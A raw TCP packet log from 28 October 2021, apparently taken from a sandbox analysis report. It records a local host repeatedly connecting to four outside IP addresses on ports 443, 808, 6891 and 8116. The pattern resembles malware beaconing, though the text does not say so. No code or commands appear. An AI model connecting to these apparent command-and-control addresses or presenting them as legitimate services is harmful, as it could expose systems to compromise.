Oct 28, 2021 04:47:32.683624029 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:32.683686018 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:32.683712006 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:32.690443039 CEST	50094	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:32.690475941 CEST	443	50094	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:32.840157032 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:32.999183893 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:32.999321938 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.000174999 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.008140087 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:33.008172989 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:33.008266926 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:33.012238979 CEST	50095	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:33.124919891 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.159028053 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.159101963 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.159188032 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.159801960 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.163973093 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.164112091 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.177531004 CEST	6891	50095	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:33.185422897 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.185648918 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.186359882 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.246023893 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.246372938 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.246598005 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.247246981 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.251355886 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.251471043 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.311021090 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.311223030 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.318607092 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.322834969 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.322879076 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.322890997 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.480232954 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.480272055 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.480422020 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.484915972 CEST	50097	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:33.544708014 CEST	8116	50097	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:33.596765995 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:33.596827984 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:33.596992970 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:33.597965002 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:33.597989082 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:33.705388069 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.705419064 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:33.705528021 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.713979006 CEST	50096	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:33.830370903 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:33.873289108 CEST	808	50096	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:34.037190914 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.037429094 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.038181067 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.120263100 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.120430946 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.121323109 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.121336937 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.124819040 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.124839067 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.124927044 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.124943018 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.230427027 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.230489969 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.230703115 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.231744051 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.235928059 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.236046076 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.423157930 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.423190117 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.462286949 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.808060884 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.808104992 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:34.808166981 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.808197021 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.816891909 CEST	50099	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:34.836169958 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.836241961 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.836415052 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.836421967 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.841804981 CEST	50098	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:34.841849089 CEST	443	50098	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:34.950340033 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.004292965 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.004436016 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.006053925 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.013988972 CEST	6891	50099	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:35.031586885 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.060225964 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.060326099 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.060415983 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.060832024 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.064579010 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.064644098 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.118519068 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.198878050 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.198976994 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.200223923 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.316073895 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.316092968 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.316164017 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.316198111 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.326277018 CEST	50100	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:35.367321014 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.367456913 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.367511988 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.368071079 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.371680021 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.371707916 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.380304098 CEST	8116	50100	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:35.439014912 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.439076900 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:35.439173937 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.439842939 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.439881086 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:35.535084009 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.538847923 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.538878918 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.538897991 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.931646109 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.931672096 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:35.931787968 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.935085058 CEST	50101	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:35.963716030 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:35.963861942 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.964438915 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.964449883 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:35.969949961 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.969968081 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:35.970097065 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:35.970113993 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:36.047084093 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.102260113 CEST	808	50101	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:36.212603092 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.212795973 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.213396072 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.378820896 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.378895044 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.379861116 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.380280972 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.382957935 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.383053064 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.548325062 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.548360109 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.687937975 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:36.688086033 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:36.688127041 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:36.688174963 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:36.695566893 CEST	50102	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:36.695620060 CEST	443	50102	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:36.841377974 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:36.943356037 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.943392992 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:36.943453074 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.943491936 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:36.947032928 CEST	50103	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:37.000932932 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.001101971 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.002557039 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.062633991 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.112390995 CEST	6891	50103	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:37.117794037 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.120143890 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.120762110 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.162235022 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.162439108 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.162564039 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.163130045 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.166836977 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.166940928 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.175190926 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.175438881 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.175617933 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.176206112 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.179814100 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.179939985 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.233911991 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.234981060 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.323940039 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.328382969 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.328461885 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.328481913 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.405090094 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.405157089 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.405234098 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.405271053 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.408595085 CEST	50105	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:37.463232994 CEST	8116	50105	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:37.532469988 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:37.532516956 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:37.532656908 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:37.533269882 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:37.533282995 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:37.709943056 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.709965944 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:37.710133076 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.716420889 CEST	50104	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:37.834294081 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:37.876065016 CEST	808	50104	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:38.002078056 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.002360106 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.003390074 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.023063898 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.023220062 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.024054050 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.024061918 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.030042887 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.030060053 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.030224085 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.030236006 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.169863939 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.169893980 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.169998884 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.170578003 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.174659014 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.174789906 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.341445923 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.341474056 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.341485023 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.724631071 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.724708080 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.724751949 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.724766970 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.728086948 CEST	50106	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:38.728117943 CEST	443	50106	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:38.728548050 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.728589058 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.728671074 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.728688002 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.734987020 CEST	50107	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:38.856551886 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.901593924 CEST	6891	50107	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:38.911334991 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:38.911475897 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.912194014 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.922979116 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:38.965886116 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:38.966134071 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:38.966219902 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.967077017 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.971662998 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:38.971791029 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:39.025517941 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:39.026086092 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:39.088937998 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.089050055 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.089720964 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.218930960 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:39.218955040 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:39.219012976 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:39.219038963 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:39.227202892 CEST	50108	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:39.255445004 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.255471945 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.255645990 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.256233931 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.260385036 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.260488987 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.280955076 CEST	8116	50108	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:39.352883101 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.352938890 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.353030920 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.353640079 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.353660107 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.420095921 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.424263954 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.424393892 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.802916050 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.802942991 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:39.803126097 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.807147026 CEST	50109	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:39.844259977 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.844666958 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.845613956 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.845633984 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.853703976 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.853733063 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.853964090 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:39.853986979 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:39.924540997 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:39.971149921 CEST	808	50109	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:40.091095924 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.092351913 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.092880964 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.259344101 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.259366035 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.259474993 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.260767937 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.267185926 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.267287016 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.433686972 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.433720112 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.547163010 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:40.547240019 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:40.547322035 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:40.547344923 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:40.557951927 CEST	50110	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:40.558010101 CEST	443	50110	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:40.692502975 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:40.815190077 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.815257072 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.815366983 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.815413952 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.817979097 CEST	50111	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:40.851916075 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:40.852089882 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:40.852686882 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:40.938626051 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:40.984539986 CEST	6891	50111	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:40.992091894 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:40.992191076 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:40.993293047 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.011953115 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.011986971 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.013290882 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.014065027 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.017344952 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.017440081 CEST	50112	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:41.046582937 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.046727896 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.046873093 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.047395945 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.051183939 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.051423073 CEST	50113	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:41.104434013 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.104713917 CEST	8116	50113	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:41.173209906 CEST	808	50112	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:41.176557064 CEST	808	50112	143.244.140.214	192.168.2.5
